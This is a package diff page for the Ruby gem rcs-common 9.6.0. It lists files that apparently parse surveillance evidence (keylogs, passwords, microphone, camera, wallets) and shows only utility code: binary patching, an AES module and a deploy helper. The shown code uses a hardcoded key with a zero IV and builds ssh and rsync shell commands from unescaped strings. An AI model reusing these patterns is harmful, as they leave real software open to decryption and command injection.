rcs-common 9.6.0

Sign up to get free protection for your applications and to get access to all the features.
Files changed (116) hide show
  1. checksums.yaml +7 -0
  2. data/.gitignore +49 -0
  3. data/Gemfile +4 -0
  4. data/LICENSE.txt +1 -0
  5. data/Rakefile +27 -0
  6. data/lib/rcs-common.rb +21 -0
  7. data/lib/rcs-common/binary.rb +64 -0
  8. data/lib/rcs-common/cgi.rb +7 -0
  9. data/lib/rcs-common/component.rb +87 -0
  10. data/lib/rcs-common/crypt.rb +71 -0
  11. data/lib/rcs-common/deploy.rb +96 -0
  12. data/lib/rcs-common/diagnosticable.rb +136 -0
  13. data/lib/rcs-common/evidence.rb +261 -0
  14. data/lib/rcs-common/evidence/addressbook.rb +173 -0
  15. data/lib/rcs-common/evidence/application.rb +59 -0
  16. data/lib/rcs-common/evidence/calendar.rb +62 -0
  17. data/lib/rcs-common/evidence/call.rb +185 -0
  18. data/lib/rcs-common/evidence/camera.rb +25 -0
  19. data/lib/rcs-common/evidence/chat.rb +272 -0
  20. data/lib/rcs-common/evidence/clibpoard.rb +58 -0
  21. data/lib/rcs-common/evidence/command.rb +50 -0
  22. data/lib/rcs-common/evidence/common.rb +78 -0
  23. data/lib/rcs-common/evidence/content/camera/001.jpg +0 -0
  24. data/lib/rcs-common/evidence/content/coin/wallet_bit.dat +0 -0
  25. data/lib/rcs-common/evidence/content/coin/wallet_lite.dat +0 -0
  26. data/lib/rcs-common/evidence/content/file/Einstein.docx +0 -0
  27. data/lib/rcs-common/evidence/content/file/arabic.docx +0 -0
  28. data/lib/rcs-common/evidence/content/mouse/001.jpg +0 -0
  29. data/lib/rcs-common/evidence/content/mouse/002.jpg +0 -0
  30. data/lib/rcs-common/evidence/content/mouse/003.jpg +0 -0
  31. data/lib/rcs-common/evidence/content/mouse/004.jpg +0 -0
  32. data/lib/rcs-common/evidence/content/print/001.jpg +0 -0
  33. data/lib/rcs-common/evidence/content/screenshot/001.jpg +0 -0
  34. data/lib/rcs-common/evidence/content/screenshot/002.jpg +0 -0
  35. data/lib/rcs-common/evidence/content/screenshot/003.jpg +0 -0
  36. data/lib/rcs-common/evidence/content/url/001.jpg +0 -0
  37. data/lib/rcs-common/evidence/content/url/002.jpg +0 -0
  38. data/lib/rcs-common/evidence/content/url/003.jpg +0 -0
  39. data/lib/rcs-common/evidence/device.rb +23 -0
  40. data/lib/rcs-common/evidence/download.rb +54 -0
  41. data/lib/rcs-common/evidence/exec.rb +0 -0
  42. data/lib/rcs-common/evidence/file.rb +129 -0
  43. data/lib/rcs-common/evidence/filesystem.rb +71 -0
  44. data/lib/rcs-common/evidence/info.rb +24 -0
  45. data/lib/rcs-common/evidence/keylog.rb +84 -0
  46. data/lib/rcs-common/evidence/mail.rb +237 -0
  47. data/lib/rcs-common/evidence/mic.rb +39 -0
  48. data/lib/rcs-common/evidence/mms.rb +36 -0
  49. data/lib/rcs-common/evidence/money.rb +676 -0
  50. data/lib/rcs-common/evidence/mouse.rb +62 -0
  51. data/lib/rcs-common/evidence/password.rb +60 -0
  52. data/lib/rcs-common/evidence/photo.rb +80 -0
  53. data/lib/rcs-common/evidence/position.rb +303 -0
  54. data/lib/rcs-common/evidence/print.rb +50 -0
  55. data/lib/rcs-common/evidence/screenshot.rb +53 -0
  56. data/lib/rcs-common/evidence/sms.rb +91 -0
  57. data/lib/rcs-common/evidence/url.rb +133 -0
  58. data/lib/rcs-common/fixnum.rb +48 -0
  59. data/lib/rcs-common/gridfs.rb +294 -0
  60. data/lib/rcs-common/heartbeat.rb +96 -0
  61. data/lib/rcs-common/keywords.rb +50 -0
  62. data/lib/rcs-common/mime.rb +65 -0
  63. data/lib/rcs-common/mongoid.rb +19 -0
  64. data/lib/rcs-common/pascalize.rb +62 -0
  65. data/lib/rcs-common/path_utils.rb +67 -0
  66. data/lib/rcs-common/resolver.rb +40 -0
  67. data/lib/rcs-common/rest.rb +17 -0
  68. data/lib/rcs-common/sanitize.rb +42 -0
  69. data/lib/rcs-common/serializer.rb +404 -0
  70. data/lib/rcs-common/signature.rb +141 -0
  71. data/lib/rcs-common/stats.rb +94 -0
  72. data/lib/rcs-common/symbolize.rb +10 -0
  73. data/lib/rcs-common/systemstatus.rb +136 -0
  74. data/lib/rcs-common/temporary.rb +13 -0
  75. data/lib/rcs-common/time.rb +24 -0
  76. data/lib/rcs-common/trace.rb +138 -0
  77. data/lib/rcs-common/trace.yaml +42 -0
  78. data/lib/rcs-common/updater/client.rb +354 -0
  79. data/lib/rcs-common/updater/dsl.rb +178 -0
  80. data/lib/rcs-common/updater/payload.rb +79 -0
  81. data/lib/rcs-common/updater/server.rb +126 -0
  82. data/lib/rcs-common/updater/shared_key.rb +55 -0
  83. data/lib/rcs-common/updater/tmp_dir.rb +13 -0
  84. data/lib/rcs-common/utf16le.rb +83 -0
  85. data/lib/rcs-common/version.rb +5 -0
  86. data/lib/rcs-common/winfirewall.rb +235 -0
  87. data/rcs-common.gemspec +64 -0
  88. data/spec/gridfs_spec.rb +637 -0
  89. data/spec/mongoid.yaml +6 -0
  90. data/spec/signature_spec.rb +105 -0
  91. data/spec/spec_helper.rb +22 -0
  92. data/spec/updater_spec.rb +80 -0
  93. data/tasks/deploy.rake +21 -0
  94. data/tasks/protect.rake +90 -0
  95. data/test/helper.rb +17 -0
  96. data/test/test_binary.rb +107 -0
  97. data/test/test_cgi.rb +14 -0
  98. data/test/test_crypt.rb +125 -0
  99. data/test/test_evidence.rb +52 -0
  100. data/test/test_evidence_manager.rb +119 -0
  101. data/test/test_fixnum.rb +35 -0
  102. data/test/test_keywords.rb +137 -0
  103. data/test/test_mime.rb +49 -0
  104. data/test/test_pascalize.rb +100 -0
  105. data/test/test_path_utils.rb +24 -0
  106. data/test/test_rcs-common.rb +7 -0
  107. data/test/test_sanitize.rb +40 -0
  108. data/test/test_serialization.rb +20 -0
  109. data/test/test_stats.rb +90 -0
  110. data/test/test_symbolize.rb +20 -0
  111. data/test/test_systemstatus.rb +35 -0
  112. data/test/test_time.rb +56 -0
  113. data/test/test_trace.rb +25 -0
  114. data/test/test_utf16le.rb +71 -0
  115. data/test/test_winfirewall.rb +68 -0
  116. metadata +423 -0
@@ -0,0 +1,7 @@
1
+ ---
2
+ SHA1:
3
+ metadata.gz: f2b1ac857fbf21f06eb94d5a5e76cd178184b8ef
4
+ data.tar.gz: f6dc9cd9218eb48ac4a3a811edc3e7036266c0cb
5
+ SHA512:
6
+ metadata.gz: acbf20309baa1c68b561a28063863183a983fea9944775ded0881f88a38ce3e04c3b92cb42b906abd4abd36d2b2ab2a0de282e65853172debc04341b972f30c1
7
+ data.tar.gz: 300985b94d6b9144ba3993032f29e6d008cbb1e2e00164b54157964b1dd6daf1a75282c6806991f3bcaa3f6456f6c29c814f76896fcf36f255ffe9880dbdb884
@@ -0,0 +1,49 @@
1
+ # rcov generated
2
+ coverage
3
+
4
+ # rdoc generated
5
+ rdoc
6
+
7
+ # yard generated
8
+ doc
9
+ .yardoc
10
+
11
+ # bundler
12
+ .bundle
13
+ Gemfile.lock
14
+
15
+ # jeweler generated
16
+ pkg
17
+
18
+ # Have editor/IDE/OS specific files you need to ignore? Consider using a global gitignore:
19
+ #
20
+ # * Create a file at ~/.gitignore
21
+ # * Include files you want ignored
22
+ # * Run: git config --global core.excludesfile ~/.gitignore
23
+ #
24
+ # After doing this, these files will be ignored in all your git projects,
25
+ # saving you from having to 'pollute' every project you touch with them
26
+ #
27
+ # Not sure what to needs to be ignored for particular editors/OSes? Here's some ideas to get you started. (Remember, remove the leading # of the line)
28
+ #
29
+ # For MacOS:
30
+ #
31
+ .DS_Store
32
+ #
33
+ # For TextMate
34
+ #*.tmproj
35
+ #tmtags
36
+ #
37
+ # For emacs:
38
+ #*~
39
+ #\#*
40
+ #.\#*
41
+ #
42
+ # For vim:
43
+ #*.swp
44
+
45
+ # For RubyMine
46
+ .idea
47
+
48
+ # RVM gemset
49
+ .ruby-gemset
data/Gemfile ADDED
@@ -0,0 +1,4 @@
1
+ source "http://rubygems.org"
2
+
3
+ # Specify your gem's dependencies in rcs-common.gemspec
4
+ gemspec
@@ -0,0 +1 @@
1
+ Copyright (c) 2014 HT srl
@@ -0,0 +1,27 @@
1
+ require "bundler/gem_tasks"
2
+ require 'rake'
3
+ require 'rake/testtask'
4
+ require 'rspec/core/rake_task'
5
+
6
+ Dir["./tasks/*.rake"].each do |path|
7
+ load(path)
8
+ end
9
+
10
+ desc "Run minitest"
11
+ Rake::TestTask.new(:test) do |test|
12
+ test.libs << 'lib' << 'test'
13
+ test.pattern = 'test/**/test_*.rb'
14
+ test.verbose = true
15
+ end
16
+
17
+ desc "Run minitest + rspec"
18
+ task :default do
19
+ Rake::Task["test"].invoke
20
+ Rake::Task["spec"].invoke
21
+ end
22
+
23
+ desc "Run rspec"
24
+ RSpec::Core::RakeTask.new(:spec)
25
+
26
+ # Disable the release task (release the gem to rubygems)
27
+ Rake::Task["release"].clear
@@ -0,0 +1,21 @@
1
+ # helper modules
2
+ require 'rcs-common/time'
3
+ require 'rcs-common/utf16le'
4
+
5
+ require "rcs-common/version"
6
+
7
+ # gem modules
8
+ require 'rcs-common/crypt'
9
+ require 'rcs-common/pascalize'
10
+ require 'rcs-common/keywords'
11
+ require 'rcs-common/sanitize'
12
+ require 'rcs-common/trace'
13
+ require 'rcs-common/mime'
14
+ require 'rcs-common/systemstatus'
15
+ require 'rcs-common/fixnum'
16
+ require 'rcs-common/symbolize'
17
+ require 'rcs-common/utf16le'
18
+ require 'rcs-common/cgi'
19
+ require 'rcs-common/binary'
20
+ require 'rcs-common/stats'
21
+ require 'rcs-common/gridfs'
@@ -0,0 +1,64 @@
1
+
2
+ # add a method to String to perform binary substitution
3
+ # without the hassles of regexp
4
+
5
+ class MatchNotFound < StandardError
6
+ def initialize
7
+ super "matching string not found"
8
+ end
9
+ end
10
+
11
+ class OutOfBounds < StandardError
12
+ def initialize
13
+ super "offset is out of bound"
14
+ end
15
+ end
16
+
17
+ class OutOfBoundsString < StandardError
18
+ def initialize
19
+ super "string too long, out of bound"
20
+ end
21
+ end
22
+
23
+ class String
24
+ def binary_patch(match, replace)
25
+ raise MatchNotFound unless self[match]
26
+ # use the block form to avoid the regexp in the replace string
27
+ self.gsub!(match.force_encoding('ASCII-8BIT')) do |param|
28
+ replace.force_encoding('ASCII-8BIT')
29
+ end
30
+ end
31
+
32
+ def binary_patch_at_offset(offset, replace)
33
+ io = StringIO.new(self)
34
+
35
+ # check for boundaries
36
+ raise OutOfBounds if offset < 0
37
+ raise OutOfBounds if offset > io.size
38
+ raise OutOfBoundsString if offset + replace.bytesize > io.size
39
+
40
+ io.pos = offset
41
+ io.write replace
42
+ io.close
43
+ self
44
+ end
45
+
46
+ def binary_add_at_offset(offset, value)
47
+ io = StringIO.new(self)
48
+
49
+ # check for boundaries
50
+ raise OutOfBounds if offset < 0
51
+ raise OutOfBounds if offset > io.size
52
+
53
+ io.pos = offset
54
+ current = io.read(4).unpack('I').first
55
+ current += value
56
+ current = [current].pack('I')
57
+
58
+ io.pos = offset
59
+ io.write current
60
+ io.close
61
+ self
62
+ end
63
+
64
+ end
@@ -0,0 +1,7 @@
1
+ require 'cgi'
2
+
3
+ class CGI
4
+ def self.encode_query(hash)
5
+ return hash.map{|k,v| "#{CGI.escape(k.to_s)}=#{CGI.escape(v.to_s)}"}.join("&")
6
+ end
7
+ end
@@ -0,0 +1,87 @@
1
+ require 'rcs-common/trace'
2
+
3
+ module RCS
4
+ module Component
5
+ def self.included(base)
6
+ base.__send__(:include, RCS::Tracer)
7
+ base.__send__(:extend, RCS::Tracer)
8
+
9
+ base.__send__(:extend, ClassMethods)
10
+
11
+ base.__send__(:define_singleton_method, :component) do |value, name: nil|
12
+ @_component = value.to_sym
13
+ @_component_name = name || "RCS #{value.to_s.capitalize}"
14
+ end
15
+ end
16
+
17
+ def component
18
+ self.class.instance_variable_get('@_component')
19
+ end
20
+
21
+ def component_name
22
+ self.class.instance_variable_get('@_component_name')
23
+ end
24
+
25
+ def full_component_version
26
+ File.read(Dir.pwd + '/config/VERSION').strip
27
+ end
28
+
29
+ def component_version
30
+ $version || full_component_version.split('-').first
31
+ end
32
+
33
+ def show_startup_message
34
+ build = File.read(Dir.pwd + '/config/VERSION_BUILD')
35
+ trace :fatal, "Starting the #{component_name} #{full_component_version} (#{build})..."
36
+ end
37
+
38
+ def database
39
+ @_database ||= begin
40
+ db_class = RCS.const_get('Collector::DB') rescue RCS.const_get('DB::DB')
41
+ db_class.instance
42
+ end
43
+ end
44
+
45
+ def establish_database_connection(wait_until_connected: false)
46
+ loop do
47
+ connected = database.respond_to?(:connect!) ? database.connect!(component) : database.connect
48
+
49
+ if connected
50
+ trace :info, "Database connection succeeded"
51
+ break
52
+ end
53
+
54
+ if wait_until_connected
55
+ trace :warn, "Database connection failed, retry..."
56
+ sleep 1
57
+ else
58
+ trace :error, "Database connection failed"
59
+ break
60
+ end
61
+ end
62
+ end
63
+
64
+ def run_with_rescue
65
+ $version = component_version
66
+ trace_setup
67
+ show_startup_message
68
+ yield
69
+ return 0
70
+ rescue Interrupt
71
+ # call the kill handler if defined
72
+ kill if self.respond_to? :kill
73
+ trace :info, "User asked to exit. Bye bye!"
74
+ exit(0)
75
+ rescue Exception => e
76
+ trace :fatal, "FAILURE: " << e.message
77
+ trace :fatal, "EXCEPTION: [#{e.class}] " << e.backtrace.join("\n")
78
+ exit(1)
79
+ end
80
+
81
+ module ClassMethods
82
+ def run!(*argv)
83
+ return new.run(argv)
84
+ end
85
+ end
86
+ end
87
+ end
@@ -0,0 +1,71 @@
1
+ #
2
+ # The encryption module.
3
+ # by default we use the PKCS5 padding
4
+ # force the third parameter to change the padding
5
+ #
6
+
7
+ require 'openssl'
8
+ require 'digest/sha1'
9
+
10
+ module RCS
11
+
12
+ module Crypt
13
+ PAD_NOPAD = 0
14
+ PAD_PKCS5 = 1
15
+ SHA1_DIGEST_LENGTH = 20
16
+
17
+ def aes_encrypt(clear_text, key, padding=PAD_PKCS5)
18
+ cipher = OpenSSL::Cipher::Cipher.new('aes-128-cbc')
19
+ cipher.encrypt
20
+ cipher.padding = padding
21
+ cipher.key = key
22
+ cipher.iv = "\x00" * cipher.iv_len
23
+ edata = cipher.update(clear_text)
24
+ edata << cipher.final
25
+ return edata
26
+ end
27
+
28
+ def aes_decrypt(enc_text, key, padding=PAD_PKCS5)
29
+ decipher = OpenSSL::Cipher::Cipher.new('aes-128-cbc')
30
+ decipher.decrypt
31
+ decipher.padding = padding
32
+ decipher.key = key
33
+ decipher.iv = "\x00" * decipher.iv_len
34
+ data = decipher.update(enc_text)
35
+ data << decipher.final
36
+ return data
37
+ end
38
+
39
+ def aes_encrypt_integrity(clear_text, key, padding=PAD_PKCS5)
40
+ # add the integrity check at the end of the message
41
+ clear_text += Digest::SHA1.digest(clear_text)
42
+ return aes_encrypt(clear_text, key, padding)
43
+ end
44
+
45
+ def aes_decrypt_integrity(enc_text, key, padding=PAD_PKCS5)
46
+ text = aes_decrypt(enc_text, key, padding)
47
+ # check the integrity at the end of the message
48
+ check = text.slice!(text.length - SHA1_DIGEST_LENGTH, text.length)
49
+ raise "Invalid sha1 check" unless check == Digest::SHA1.digest(text)
50
+ return text
51
+ end
52
+ end
53
+
54
+ end #namespace
55
+
56
+ if __FILE__ == $0
57
+ require 'securerandom'
58
+ include RCS::Crypt
59
+
60
+ clear = SecureRandom.random_bytes(16)
61
+ key = Digest::MD5.digest "4yeN5zu0+il3Jtcb5a1sBcAdjYFcsD9z"
62
+
63
+ puts "DATA: " + clear.unpack('H*').to_s
64
+ enc = aes_encrypt(clear, key)
65
+
66
+ puts "ENC: " + enc.unpack('H*').to_s
67
+ dec = aes_decrypt(enc, key)
68
+
69
+ puts "DEC: " + dec.unpack('H*').to_s
70
+
71
+ end
@@ -0,0 +1,96 @@
1
+ module RCS
2
+ class Deploy
3
+ attr_reader :me, :target
4
+
5
+ def initialize(params)
6
+ @target = Target.new(params)
7
+ @me = Me.new
8
+ end
9
+
10
+ class Me
11
+ attr_reader :path
12
+
13
+ def initialize
14
+ @path ||= File.expand_path(Dir.pwd)
15
+
16
+ raise "Missing rakefile" unless File.exists?("#{@path}/Rakefile")
17
+ raise "Not in a git repo" unless Dir.exists?("#{@path}/.git")
18
+ end
19
+
20
+ def run(cmd, opts = {})
21
+ puts "executing: #{cmd}"
22
+ opts[:trap] ? `#{cmd}` : Kernel.system(cmd)
23
+ end
24
+
25
+ def pending_changes?
26
+ run("cd \"#{path}\" && git status", trap: true) !~ /nothing to commit, working directory clean/
27
+ end
28
+
29
+ def ask(question, yes_no: true, choices: %w[y n])
30
+ print("#{question} (#{choices.join(', ')}): ")
31
+
32
+ begin
33
+ answer = STDIN.readline.strip.downcase
34
+ yes_no ? (answer == 'y' or answer == 'yes') : answer
35
+ rescue Interrupt
36
+ puts "\nBye"
37
+ exit
38
+ end
39
+ end
40
+ end
41
+
42
+ class Target
43
+ attr_reader :user, :address
44
+
45
+ def initialize(params)
46
+ @user = params[:user]
47
+ @address = params[:address]
48
+ end
49
+
50
+ def add_slash(path)
51
+ path.end_with?('/') ? "#{path}" : "#{path}/"
52
+ end
53
+
54
+ def transfer(src, remote_folder, opts = {})
55
+ dst = add_slash(remote_folder)
56
+
57
+ run_without_ssh("rsync -tcv #{src} #{user}@#{address}:\"#{dst}\"", opts)
58
+ end
59
+
60
+ def mirror!(local_folder, remote_folder, opts = {})
61
+ src = add_slash(local_folder)
62
+ dst = add_slash(remote_folder)
63
+
64
+ run_without_ssh("rsync --delete -vazc \"#{src}\" #{user}@#{address}:\"#{dst}\"", opts)
65
+ end
66
+
67
+ def mirror(local_folder, remote_folder, opts = {})
68
+ opts[:trap] = true
69
+ result = mirror!(local_folder, remote_folder, opts)
70
+ changes = result.split("\n")[1..-3].reject { |x| x.empty? }
71
+ changed = changes.size > 0 && changes != ["./"]
72
+
73
+ if opts[:changes]
74
+ changed ? result : nil
75
+ else
76
+ changed
77
+ end
78
+ end
79
+
80
+ def restart_service(name)
81
+ run_with_ssh("net stop \"#{name}\"; net start \"#{name}\"")
82
+ end
83
+
84
+ def run_with_ssh(command, opts = {})
85
+ run_without_ssh("ssh #{user}@#{address} \""+ command.gsub('"', '\"') +"\"", opts)
86
+ end
87
+
88
+ alias :run :run_with_ssh
89
+
90
+ def run_without_ssh(cmd, opts = {})
91
+ puts "executing: #{cmd}"
92
+ opts[:trap] ? `#{cmd}` : Kernel.system(cmd)
93
+ end
94
+ end
95
+ end
96
+ end